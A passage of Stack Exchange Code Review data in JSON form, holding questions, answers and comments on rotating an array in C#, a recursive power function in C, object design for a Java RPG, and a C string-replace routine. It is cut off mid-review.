if (j == n)
{
addsize = 0;
j = -1;
printsize = printsize - (loop + 1);
}
loop = loop + 1;
}
Console.WriteLine();
}
</code></pre>
|
[] |
[
{
"body": "<p>Looks simple. Try some math with remainder.</p>\n<ul>\n<li><p>When making a method, let it do the whole job. Don't return control variable by ref. If you are sure that the method is consistent, prefer return values, using tuple to group the multiple returning values. Modifying caller's variables isn't a good thing to do. I suggest the method that does the whole job.</p>\n</li>\n<li><p>The problem can be solved using modulo, <code>%</code>. It allows you to iterate linearly whilst staying in the array range by 'wrapping' from the end to the beginning.</p>\n</li>\n<li><p>One loop might be faster than two or more, but I didn't test the performance. At least it might be faster because of less condition checks.</p>\n</li>\n<li><p>It's better to use <code>pascalCase</code> for local variable names instead of <code>lowercasednamesthatwhouldbediffuculttoread</code>.</p>\n</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>static void Main()\n{\n int[] arr = { 9, 2, 7, 4, 6, 1, 3 };\n int rotate = 7;\n int printSize = 5;\n Print(arr, rotate, printSize);\n}\n\nstatic void Print(int[] arr, int rotate, int printSize)\n{\n for (int i = 0; i < rotate * printSize; i++)\n {\n Console.Write(arr[i % arr.Length]);\n if ((i + 1) % printSize == 0)\n Console.WriteLine();\n }\n}\n</code></pre>\n<p>Further improvement can affect the large array handling: using <code>StringBuilder</code> to create the output, the print it with a single <code>Console.WriteLine</code>.</p>\n<p>The output:</p>\n<pre class=\"lang-none prettyprint-override\"><code>92746\n13927\n46139\n27461\n39274\n61392\n74613\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:04:41.493",
"Id": "520927",
"Score": "1",
"body": "Hi aepot. Thank you for taking the time to edit your answer to be inline with the site's rules. I have cleaned up the post as your answer is safely within the site's rules. (removing comments and banner) I have attempted to make your answer a little easier to read, but please check I have not misrepresented you or your ideas. Thank you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:10:50.360",
"Id": "520928",
"Score": "0",
"body": "@Peilonrayz thank you very much!"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T15:15:09.227",
"Id": "263779",
"ParentId": "263773",
"Score": "8"
}
},
{
"body": "<p>You're using conditionals and nested loops when you should need neither. In Python this is as easy as</p>\n<pre class=\"lang-py prettyprint-override\"><code>arr = '9274613'\nstart = 0\nfor _ in arr:\n print((arr[start:] + arr[:start])[:5])\n start = (start + 5) % len(arr)\n</code></pre>\n<p>C# can do similar.</p>\n<ul>\n<li>Format your array to a string</li>\n<li>Loop as many times as there are characters in the string</li>\n<li>Split the string at the current start index to the end</li>\n<li>Print the second half followed by the first half; then finally</li>\n<li>Add 5 to the starting index and modulate by the array length.</li>\n</ul>\n<p>Courtesy @aepot, this could look like</p>\n<pre class=\"lang-cs prettyprint-override\"><code>static void Main()\n{\n int[] arr = { 9, 2, 7, 4, 6, 1, 3 };\n int rotate = 7;\n int printsize = 5;\n Print(arr, rotate, printsize);\n}\n \nstatic void Print(int[] arr, int rotate, int printSize)\n{\n string text = string.Concat(arr); // "9274613"\n int start = 0;\n for (int i = 0; i < rotate; i++)\n {\n Console.WriteLine((text[start..] + text[..start])[..printSize]);\n start = (start + printSize) % text.Length;\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T17:01:14.130",
"Id": "520850",
"Score": "1",
"body": "@aepot That's very kind; thank you!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T07:43:03.800",
"Id": "520870",
"Score": "2",
"body": "Or even *make* a string with a 2nd copy of the array, like `\"92746139274613\"` (actually stopping short based on the line length). Then you can take sliding windows into that without any string-concat work, just a fixed-size window into that string. In C, it could be repeated `fwrite` calls, or `printf(\"%7s\\n\", p++);` either of which are just contiguous copies of data already laid out in memory, something a good memcpy can do really fast."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T15:32:06.853",
"Id": "263781",
"ParentId": "263773",
"Score": "5"
}
},
{
"body": "<p>probably would be best to keep things together and let the method return the results instead.</p>\n<pre><code>public static IEnumerable<int> GetPrintResult(int[] array , int size, int rotate)\n{\n var count = size * rotate;\n \n var base10 = (int) Math.Pow(10, size - 1);\n \n var result = 0;\n\n var multiplier = base10;\n\n for(int x = 0; x < count; x++)\n {\n result += array[x % array.Length] * multiplier;\n\n multiplier /= 10;\n\n if(( x + 1 ) % size == 0)\n {\n yield return result;\n multiplier = base10;\n result = 0;\n }\n }\n}\n</code></pre>\n<p>then you can retrieve the results as an <code>IEnumerable<int></code> which would be more flexible to work with.</p>\n<p>For instance, if you want to print the results to the <code>Console</code></p>\n<pre><code>var results = GetPrintResult(arr, 5, 7);\nvar resultsStr = string.Join(Environment.NewLine, results);\nConsole.WriteLine(resultsStr);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T16:24:13.513",
"Id": "263783",
"ParentId": "263773",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263779",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T10:01:29.090",
"Id": "263773",
"Score": "3",
"Tags": [
"c#",
"performance",
"algorithm",
"array",
"interview-questions"
],
"Title": "Printing rotations of an array 7 times"
}
|
263773
|
<h3>How to make a C recursive exponentiation (power) function better?</h3>
<p>I developed a pretty simple (yet decent, imo) power function for the sake of learning. I'm not <em>quite</em> trying to compete with <code>math.h</code>'s <code>double pow(double __x, double __y)</code></p>
<pre class="lang-c prettyprint-override"><code>double pwr(double _base, double _exp)
{
if (_exp == 0)
return 1;
else if (_exp > 0)
return _base * pwr(_base, _exp - 1);
else
return 1 / (_base * pwr(_base, (_exp * -1) - 1));
}
</code></pre>
<p>But i would like to know why (if) <code>math.h</code>'s would be better.
Some community guy also told me it could be further simplified, but didn't tell me how. Is that true?</p>
<p><strong>Note:</strong> I'm aware of "divide and conquer" approach, but not sure how to proceed in case <code>_exp</code> is not integer</p>
|
[] |
[
{
"body": "<p>For large exponents, this code is slower than necessary (it scales linearly in <code>exp</code>, rather than logarithmically as an efficient implementation would). Research <strong>Binary Exponentiation</strong> algorithm, and <strong>Exponentiation by logarithm</strong>, which is what your standard library implementation is most likely to use for <code>pow(double, double)</code>.</p>\n<p>The latter relies on the identity <span class=\"math-container\">\\$\\ln{(y^x)} ≡ x \\ln{(y)}\\$</span>. So <span class=\"math-container\">\\$y^x = \\exp(x \\ln(y))\\$</span>.</p>\n<p>The implementation here will never return when <code>exp</code> is not an integer - you'll just alternate between calls either side of zero, until you run out of stack. We need to use the logarithm approach for non-integer powers (and arrange to fail when the base is negative and the power is fractional).</p>\n<p>Avoid using <em>reserved identifiers</em> in your own code. This includes names that begin with underscore (<code>_</code>) followed by a lower-case letter. (Not as dangerous as names beginning with <code>_</code> and an upper-case letter, which are available to the implementation for use as macros, but still not good; as a general rule, never declare your own names beginning with <code>_</code> and you'll be fine).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T13:48:54.260",
"Id": "520836",
"Score": "1",
"body": "afaik, reserved identifiers, in C follow this rule:\n\n`According to the C Standard, 7.1. 3 [ISO/IEC 9899:2011], All identifiers that begin with an underscore and either an uppercase letter or another underscore are always reserved for any use.`\n\nsince my identifiers start with single `_`and lowercase, i should be fine, no?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T13:53:31.630",
"Id": "520837",
"Score": "1",
"body": "Yes. Underscore and lowercase letter only reserved for use as identifiers with file scope (the following sentence). Still worth avoiding in your own code."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T13:47:26.743",
"Id": "263776",
"ParentId": "263775",
"Score": "2"
}
},
{
"body": "<p>For <code>exp</code> not 0, between -1 and 1 it will make a recursive call with a negated exponent.</p>\n<p>Furthermore <strong>x²ⁿ = (xⁿ)²</strong> which can be used to reduce <em>n</em> recursions down to <em>log₂(n)</em> recursions.</p>\n<p>For <strong>exp = n + q, n int, 0 < q < 1</strong> or <strong>exp = n ± q, n int, 0 < q <= 0.5</strong> you can use <strong>x<sup>exp</sup> = (x<sup>n</sup>).(x<sup>q</sup>)</strong>. For the integer power <em>n</em> you can do the logarithmic recursion (<code>double</code>, <code>long</code> or <code>BigInteger</code>). For the <em>q</em> fraction you need an approximation sequence. <em>Don't ask me how.</em></p>\n<p>Underscore at the beginning, is extra. Nowadays the majority seems to find this <em>less</em> readable (as not a ubiquitous convention), and disruptive in reading. Less is more here.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T15:17:34.430",
"Id": "263780",
"ParentId": "263775",
"Score": "1"
}
},
{
"body": "<p><code>pow(double _base, double _exp)</code>, like this <code>pwr()</code>, is a challenging function.</p>\n<p>Also an accurate implementation is difficult as errors in manipulating <code>_base</code> are heavily amplified by large <code>_exp</code>.</p>\n<p><strong>Non-integer power</strong></p>\n<p>When <code>_exp</code> is not a whole number value, best to use <code>exp2(_exp * log2(_base))</code> and avoid <code>log(), exp()</code> to improve accuracy.</p>\n<p>Note: <code>_base < 0</code> will error as, in general, the result of <code>pow(negative_base, some_non_whole_number)</code> is a <em>complex number</em>.</p>\n<p><strong><code>else</code> not needed</strong></p>\n<pre><code>double pwr(double _base, double _exp) {\n if (_exp == 0)\n return 1;\n // else if (_exp > 0)\n if (_exp > 0)\n return _base * pwr(_base, _exp - 1);\n // else\n return 1 / (_base * pwr(_base, (_exp * -1) - 1));\n</code></pre>\n<p><strong>Linear recursion depth</strong></p>\n<p>Should <code>_exp</code> be a large integer value, code will recurse <em>many times</em>.</p>\n<p>Instead, halve the exponent each each recursion for a log recursion depth.</p>\n<pre><code>// return _base * pwr(_base, _exp - 1);\ndouble p2 = pwr(_base, _exp/2);\nreturn p2*p2*(_exp/2 ? _base : 1);\n</code></pre>\n<p>This also improves correctness as fewer calculations are done.</p>\n<hr />\n<p><strong>Somewhat improved code</strong></p>\n<pre><code>double pwr_rev2(double base, double expo) {\n // If non-integer expo, use exp2(),log2()\n double expo_ipart;\n double fpart = modf(expo, &expo_ipart);\n if (fpart) {\n return exp2(expo * log2(base));\n }\n\n if (expo_ipart < 0.0) {\n // Form 1/ result\n return 1.0/pwr_rev2(base, -expo);\n }\n\n if (expo_ipart == 0.0) {\n return 1.0;\n }\n\n double p = pwr_rev2(base, expo_ipart / 2.0);\n p *= p;\n if (fmod((expo_ipart, 2)) {\n p *= base;\n }\n return p;\n}\n</code></pre>\n<p>Implementation still has short comings with <code>1.0/pwr_rev2(base, -expo)</code> as the quotient becomes 0.0 when the result should be very small, yet more than zero.</p>\n<p>It also recurses too many times when the result <code>p *= p;</code> is infinity. TBD code to fix.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T01:58:19.877",
"Id": "263827",
"ParentId": "263775",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T13:37:07.597",
"Id": "263775",
"Score": "1",
"Tags": [
"c",
"recursion",
"mathematics"
],
"Title": "Recursive power (mathematical operation) function in C"
}
|
263775
|
<h3>Context</h3>
<p>PlayerHouse is a place where the Player (the game character) can refill its health, store its inventory, etc. like in a RPG-game. The user can upgrade it for example to refill player's health faster and store more inventory items.</p>
<h3>Entity in question: PlayerHouse</h3>
<pre><code>class PlayerHouse {
private int moneyRequiredForUpgrade;
private int stonesRequiredForUpgrade;
private int nextUpgradeExperience;
private Player player;
private int defence;
private int rooms;
public void upgrade() {
if (player.getMoney() < moneyRequiredForUpgrade) {
throw new Exception("Not enough money");
}
if (player.getStones() < stonesRequiredForUpgrade) {
throw new Exception("Not enough stones");
}
player.decreaseMoney(moneyRequiredForUpgrade);
player.decreaseStones(stonesRequiredForUpgrade);
player.increaseExperience(nextUpgradeExperience);
moneyRequiredForUpgrade += 100;
stonesRequiredForUpgrade += 100;
nextUpgradeExperience += 100;
this.defence++;
this.rooms++;
}
}
</code></pre>
<p>This entity has a method that affects its own properties and properties of the Player entity.</p>
<p>Is it the correct way to implement interactions?
I don't like that I can call <code>Player</code> methods outside <code>PlayerHouse</code> entity.</p>
<h3>Alternative: PlayerHouse</h3>
<p>Should I create result objects to change Player stats like that:</p>
<pre><code>class PlayerHouse {
public void upgrade() {
this.defence++;
this.rooms++;
this.player.update(new UpgradeResult(someMoney, someStones, someExperience));
}
}
</code></pre>
<p>What is the right name for update method then?</p>
<p>Is there any better solution?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T17:11:08.520",
"Id": "520851",
"Score": "4",
"body": "To design the interaction between Player and PlayerHouse it would help to express the relation or use-case in human language answering questions like: (a) What is a \"PlayerHouse\" ? (b) When does that change the \"Player\" ? Or even (c) Why are \"Players\" in a \"house\" ? Short: provide some domain-context of your game?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T17:27:52.960",
"Id": "520853",
"Score": "1",
"body": "PlayerHouse is a place where the Player (the game character) can refill its health, store its inventory, etc. like in a RPG-game. The user can upgrade it for example to refill player's health faster and store more inventory items."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T18:09:01.850",
"Id": "520854",
"Score": "1",
"body": "OK, added your answer to the question as context. This [edit] could have be done by you .. now please also tell from the game-play where does amounts of \"some...\" come from ? Which game-object (or engine or user) does trigger the \"upgrade\" of PlayerHouse ? If questions/answers come _domain-driven_ then they will automatically contribute to a design that seems fit and comprehensible ;-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T04:57:39.917",
"Id": "520860",
"Score": "1",
"body": "Thank you. \"Some\" values are properties that belongs to PlayerHouse. After the first upgrade these values will become bigger. I didn't add the check if the Player has enough amount of stones (resources for upgrading) and money in the beginning of the upgrade method. The user can trigger upgrade and if Player has enough resources and money PlayerHouse will be upgraded."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T10:52:30.570",
"Id": "520885",
"Score": "2",
"body": "This [_narrative_](https://www.gamedesigning.org/career/game-writer/) you commented is actually [DDD's event-storming](https://en.wikipedia.org/wiki/Event_storming), thanks! ️ Please [edit] your question and __paste it there__. Then I can reflect it in my answer ️"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T11:55:58.167",
"Id": "520891",
"Score": "1",
"body": "Thanks for the link! I've added the changes to the code, can you please check this out?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T15:27:29.643",
"Id": "520906",
"Score": "0",
"body": "Please do not edit the question, especially the code after an answer has been posted. Everyone needs to be able to see what the reviewer was referring to. [What to do after the question has been answered](https://codereview.stackexchange.com/help/someone-answers)."
}
] |
[
{
"body": "<h1>Domain-Driven (Game) Design</h1>\n<p>Naming and terminology of a game (and other applications) follows a convention (depending on its genre).</p>\n<p>Objects are typically expressed by <em>nouns</em> (N) like: <a href=\"https://en.wikipedia.org/wiki/Health_%28game_terminology%29\" rel=\"nofollow noreferrer\">Health</a> and Player, Item, Inventory, House, Room, Location.</p>\n<p>Methods are typically expressed by <em>verbs</em> (V) like: refill, regenerate, store, add, move, enter, etc.</p>\n<p>Depending on the narrative (story / theme) of your game these terms may vary. Same applies for designing other (business-)applications, where terminology is driven by the subject / domain and it's language used locally (by users).</p>\n<h2>Language from the context provided (narrative)</h2>\n<p>From what you mentioned in the question:</p>\n<ul>\n<li>player (N, actor)</li>\n<li>player's house (N, location)</li>\n<li>store (V) item (N) to inventory (N, has items)</li>\n<li>refill (V) health (N, points) of player (N)</li>\n</ul>\n<p>Following from what you mentioned in the question's comment:</p>\n<h3>Interaction between Player and PlayersHouse</h3>\n<ul>\n<li>user can trigger the Player to purchase (V) an upgrade (A) of its owned PlayersHouse (N)</li>\n</ul>\n<p>If Player has enough stones (stones for next upgrade) and money (price for next upgrade), then PlayerHouse will be upgraded.</p>\n<p>After the <strong>first upgrade</strong> these values will become bigger.\nThere should be a check in the beginning of the upgrade method, if the Player has:</p>\n<ul>\n<li>enough amount of (resources for upgrading)</li>\n<li>and enough money</li>\n</ul>\n<h3>Properties of Player</h3>\n<ul>\n<li>house (N, associated state: exactly 1 unique PlayersHouse) owned by each player</li>\n<li>stones (N, countable) required for next upgrade</li>\n<li>money (N, countable) required for next upgrade</li>\n</ul>\n<h3>Properties of PlayerHouse</h3>\n<ul>\n<li>defence (N, points) increases 1 by each upgrade</li>\n<li>rooms (N, countable) increases 1 by each upgrade</li>\n</ul>\n<h3>Properties of UpgradeLevel:</h3>\n<p>Note: I added this object or noun (N) to save the state of upgrades separately.</p>\n<ul>\n<li>upgrade experience (N, points) increases 100 by upgrade</li>\n<li>amount/cost/price of next upgrade:\n<ul>\n<li>money (N, countable, see Player's money) increases 100 by upgrade</li>\n<li>stones (N, countable, see Player's stones) increases 100 by upgrade</li>\n</ul>\n</li>\n</ul>\n<h3>Operations on UpgradeLevel:</h3>\n<ul>\n<li>increase-level, level-up (V) will increase each of its properties (experience, money, stones) by 100</li>\n</ul>\n<h3>Operations on Player</h3>\n<ul>\n<li>purchase an upgrade (V) or build-up (V) their house (O)</li>\n</ul>\n<h3>Operations on PlayerHouse</h3>\n<ul>\n<li>upgrade or build-up (V) to next level (associated state of the house)</li>\n</ul>\n<h2>Design of classes</h2>\n<p>Note: For simplicity I would recommend to start with the <code>class</code> design. A next iteration could make these classes extensible (Open-Closed principle in SOLID). This can be achieved (as other answer suggests) by making them implement <code>interface</code>s. Interfaces act as contract which defines the interaction between two or more classes. We say they become "loosely-coupled" which means the dependency between them is weakened/reduced. Less dependency means more freedom for evolution in the future (e.g. other upgrades of other objects, etc.).</p>\n<h3>Player</h3>\n<pre class=\"lang-java prettyprint-override\"><code>class Player {\n // properties that define state or association\n\n final PlayersHouse house = new PlayersHouse(); // each player starts with his own new unique house\n\n // below could also be stored as items in Player's inventory\n Integer stones;\n Integer money;\n\n\n // operations/methods\n\n public void refillHealth() {\n this.healhPoints += house.drawRegnerationHealthPoints();\n }\n\n public void buyHouseUpgrage() { // or "buildUpHouse"\n var spendAll = new Amount(this.money, this.stones);\n if ( house.upgradeAvailableFor(spendAll) ) {\n house.buyUpgrade(spendAll); // or buildUp or addExperience\n }\n }\n}\n</code></pre>\n<h3>Player's House</h3>\n<pre class=\"lang-java prettyprint-override\"><code>class PlayersHouse {\n \n private static final int REGENERATION_HP = 100;\n \n final Inventory inventory = new Inventory(); // initial empty collection of items\n \n // all initial with 0\n Integer healthPoints; // like a tank\n Integer rooms\n Integer defencePoints; // assumed to defend the house (not player if outside)\n\n\n public boolean store(Item item) {\n return inventory.add(item);\n }\n\n public int drawRegenerationHealhPoints() {\n if (this.healthPoints() <= REGENERATION_HP) {\n return this.healthPoints();\n }\n\n this.healthPoints -= REGENERATION_HP;\n\n return REGENERATION_HP;\n }\n\n public boolean upgradeAvailableFor(UpgradeAmount amount) {\n return amount.compare(this.nextUpgrade.getPrice()) > 0;\n }\n\n public void buyUpgrade(UpgradeAmount amount) {\n if (!upgradeAvailableFor(amount)) {\n throw new Exception("Upgrade costs " + this.nextUpgradePrice);\n }\n\n amount.minus(this.nextUpgrade.getPrice());\n this.rooms++;\n this.defencePoints++\n this.nextUpgrade.levelUp();\n }\n}\n</code></pre>\n<h3>Left out</h3>\n<p>Some classes and fine-grained design as well further interactions I left up to you:</p>\n<ul>\n<li>Amount (as cost for building up(grade) the house of the player)</li>\n<li>next Upgrade Level (to raise and increase, the first time and later, the difficulty & gain of an upgrade)</li>\n</ul>\n<h2>Analyze interactions & terminology</h2>\n<p>When nouns (N) and verbs (V) have been defined, and your objects have been designed with state and behavior, you can start to analyze and design their interaction.</p>\n<p>Some of these interactions will ask a questions to define the relation and cooperation between classes or interfaces:</p>\n<ul>\n<li>"upgrade" asks for a narrative: where does it come from (e.g. can the player purchase an upgrade ?)</li>\n<li>"stones" asks for the verb: How many stones build a new room (role/purpose) ?</li>\n<li>"experience" asks for the trigger: When does it level up?</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T19:28:31.080",
"Id": "263787",
"ParentId": "263782",
"Score": "2"
}
},
{
"body": "<p>if you have two entities that have not so much in common i suggest to <strong>avoid strong coupling</strong>!</p>\n<p>any method that refers to the other entity looks wrong to me:</p>\n<p><code>House.upgrade(Player player)</code></p>\n<p><code>Player.upgrade(House house)</code></p>\n<p>even though you don't use the Entities as parameter in your method (it's not obvious in your code where it comes from) you have this strong coupling.</p>\n<p>Instead i would recommend you to create an Object that handles exactly this relation.\ncreate a class <code>UpgradeAction</code> - doing so you break up the coupling.</p>\n<p>and by doing so you create a light-weight object, that is <strong>single responsible</strong> for upgrading.</p>\n<pre><code>class UpgradeAction {\n\n UpgradeAction(Player player, House house){} //dependency Injection\n\n void execute(){\n player.upgrade();\n house.upgrade();\n }\n}\n</code></pre>\n<p>go farther:</p>\n<p>let <code>House</code> and <code>Player</code> implement an <strong>interface</strong> named <code>Upgradable</code> and make your <code>UpgradeAction</code> class even more independent - as long as <code>Player</code> and <code>House</code> implement this interface you will never be required to change the <code>UpgradeAction</code> class again.</p>\n<pre><code>class UpgradeAction{\n\n UpgradeAction(Upgradable... upgradables){} \n\n void execute(){\n upgradables.forEach(Upgrade::upgrade);\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T07:31:23.300",
"Id": "520963",
"Score": "0",
"body": "Thanks for your answer. Why do you think it is a strong coupling? One Player has one House. It's the one-to-one relationship. Other Player should not have an access to the first Player's House. Only the owner can upgrade his House. Upgrade method for the Player is a bit confusing. As an application client I can call this method and the Player will get some experience and lose some money without any changes of the Player's house, I can also call the upgrade method of the House entity and it's Player will not get any experience and will not spend any resources."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T08:18:33.077",
"Id": "520965",
"Score": "0",
"body": "if you change the Player class it is very likely that you have to change the house class as well. that is strong coupling. you cannot test your house class, if you don't have a player class. try to keep things seperated. make them independ. doing so you make your code more SOLID (special here: the O part, open for change, closed for manipulation) (special here: the S part, single responsibility [not player & house ,but one of them])"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T08:23:40.033",
"Id": "520966",
"Score": "0",
"body": "for your special cases, on different upgrade actions: you would create seperate classes for each action or provide dedicated methods in the Action class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T08:43:33.703",
"Id": "520970",
"Score": "0",
"body": "Doesn't this violate encapsulation principles? The Player and The House have public methods, but they are used only by the Action class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T09:08:23.693",
"Id": "520971",
"Score": "0",
"body": "i do not see how encapsulation would meet this discussion - encapsualtion is about hiding the inner logic. how an update works is only known to the object that is updated. (see `interface Upgradable`) - where every class implementing that is solely responsy for that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T09:31:16.327",
"Id": "520973",
"Score": "0",
"body": "I can call the House.upgrade method and the object will be upgraded without affecting the Player resources. This is inner logic for the UpdateAction."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T09:51:18.513",
"Id": "520975",
"Score": "0",
"body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/127282/discussion-between-martin-frank-and-seuser)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T19:55:01.617",
"Id": "521004",
"Score": "1",
"body": "Great OO-design discussion: would agree to all SOLID-points touched. Thanks to both of you, particularly for the __event-storming__ (= building domain-context), so I could \"upgrade\" my answer from DDD/naming perspective (starting tightly coupled / classes only)."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T06:04:14.970",
"Id": "263831",
"ParentId": "263782",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T16:07:30.353",
"Id": "263782",
"Score": "1",
"Tags": [
"java",
"object-oriented",
"role-playing-game",
"ddd"
],
"Title": "DDD: interaction between 2 objects in a RPG-game"
}
|
263782
|
<p>I wrote this code as an answer to a question. But I'd like you to have a look at it. This post is basically a copy of <a href="https://stackoverflow.com/a/68237099/6699433">the answer</a> I posted.</p>
<p>The code does no error checking. It assumes that the output buffer exists and is big enough and that <code>src</code>, <code>orig</code> and <code>new</code> are valid strings. The headers needed:</p>
<pre><code>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
</code></pre>
<p>The main replace function</p>
<pre><code>// Replace the first occurrence of orig in src with new and write result to dest
// Return pointer to first character after the end of first match in src and
// NULL if no match
const char *replace(char *dest, const char *src,
const char *orig, const char *new) {
char *ptr = strstr(src, orig); // First match
// If no match, we want dest to contain a copy of src
if(!ptr) {
strcpy(dest, src);
return NULL;
}
const ptrdiff_t offset = ptr - src; // Calculate offset
const int origlen = strlen(orig);
strncpy(dest, src, offset); // Copy everything before match
strcpy(&dest[offset], new); // Copy replacement
strcpy(&dest[offset + strlen(new)], &src[offset + origlen]); // Copy rest
return src + offset + origlen;
}
</code></pre>
<p>Then we just add a function to handle N occurrences</p>
<pre><code>// Replace maximum n occurrences. Stops when no more matches.
// Returns number of replacements
size_t replaceN(char *dest, const char *src, const char *orig,
const char *new, size_t n) {
size_t ret = 0;
// Maybe an unnecessary optimization to avoid multiple calls in
// loop, but it also adds clarity
const int newlen = strlen(new);
const int origlen = strlen(orig);
do {
const char *ptr = replace(dest, src, orig, new); // Replace
if(!ptr) return ret; // Quit if no more matches
// Length of the part of src before first match
const ptrdiff_t offset = ptr - src;
src = ptr; // Move src past what we have already copied.
ret++;
dest += offset - origlen + newlen; // Advance pointer to dest to the end
} while(n > ret);
return ret;
}
</code></pre>
<p>And a simple wrapper for all occurrences. Note that it's safe to use <code>SIZE_MAX</code> here, because there will never be more occurrences than that.</p>
<pre><code>// Replace all. Returns the number of replacements, because why not?
size_t replaceAll(char *dest, const char *src, const char *orig, const char *new) {
return replaceN(dest, src, orig, new, SIZE_MAX);
}
</code></pre>
<p>It's easy to write a wrapper for the allocation. We borrow some code from <a href="https://stackoverflow.com/q/9052490/6699433">https://stackoverflow.com/q/9052490/6699433</a></p>
<pre><code>size_t countOccurrences(const char *str, const char *substr) {
size_t count = 0;
while((str = strstr(str, substr)) != NULL) {
count++;
str++; // We're standing at the match, so we need to advance
}
return count;
}
</code></pre>
<p>Then some code to calculate size and allocate a buffer</p>
<pre><code>// Allocate a buffer big enough to hold src with n replacements
// of orig to new
char *allocateBuffer(const char *src, const char *orig,
const char *new, size_t n) {
return malloc(strlen(src) +
n * (strlen(new) - strlen(orig)) +
1 // Remember the zero terminator
);
}
</code></pre>
<p>And the two final functions</p>
<pre><code>// Allocates a buffer and replaces max n occurrences of orig with new and
// writes it to the allocated buffer.
// Returns the buffer and NULL if allocation failed
char *replaceNAndAllocate(const char *src, const char *orig,
const char *new, size_t n) {
const size_t count = countOccurrences(src, orig);
n = n < count ? n : count; // Min of n and count
char *buf = allocateBuffer(src, orig, new, n);
if(!buf) return NULL;
replaceN(buf, src, orig, new, n);
return buf;
}
// Allocates a buffer and replaces all occurrences of orig with new and
// writes it to the allocated buffer.
// Returns the buffer and NULL if allocation failed
char *replaceAllAndAllocate(const char *src, const char *orig, const char *new) {
return replaceNAndAllocate(src, orig, new, SIZE_MAX);
}
</code></pre>
<p>And finally, a simple <code>main</code> with a test with multiple occurrences and with original string being a substring of replacement string:</p>
<pre><code>int main(void) {
char src[] = "!!!asdf!!!asdf!!!asdf!!!asdf!!!";
char orig[] = "asdf";
char new[] = "asdfaaaaaaaaasdf";
puts(replaceAllAndAllocate(src, orig, new));
}
</code></pre>
<p>No warnings with <code>-Wall -Wextra -pedantic</code> and the output is:</p>
<pre><code>$ ./a.out
!!!asdfaaaaaaaaasdf!!!asdfaaaaaaaaasdf!!!asdfaaaaaaaaasdf!!!asdfaaaaaaaaasdf!!!
</code></pre>
|
[] |
[
{
"body": "<p>First impression is pretty good - care taken with exception conditions and thought to the interface.</p>\n<p>Headers: I find it helpful to have a consistent order for headers, to quickly see if the header I need is already included. For this, I group the Standard Library headers in alphabetical order. You might find that helpful too.</p>\n<blockquote>\n<pre><code>char *ptr = strstr(src, orig); // First match\n</code></pre>\n</blockquote>\n<p>I'd write <code>const *ptr</code> there, to avoid accidents.</p>\n<blockquote>\n<pre><code>strncpy(dest, src, offset); // Copy everything before match\n</code></pre>\n</blockquote>\n<p>Probably <code>memcpy</code> is more appropriate here, given we know that <code>src</code> doesn't end before <code>src + offset</code>.</p>\n<blockquote>\n<pre><code>strcpy(&dest[offset], new); // Copy replacement\nstrcpy(&dest[offset + strlen(new)], &src[offset + origlen]); // Copy rest\n</code></pre>\n</blockquote>\n<p>It's strange to index an array, only to extract a pointer. I'd write those as:</p>\n<blockquote>\n<pre><code>strcpy(dest + offset, new); // Copy replacement\nstrcpy(dest + offset + strlen(new), src + offset + origlen); // Copy rest\n</code></pre>\n</blockquote>\n<p>Arguably, we could measure <code>strlen(new)</code> first, then use <code>memcpy</code> for the first of 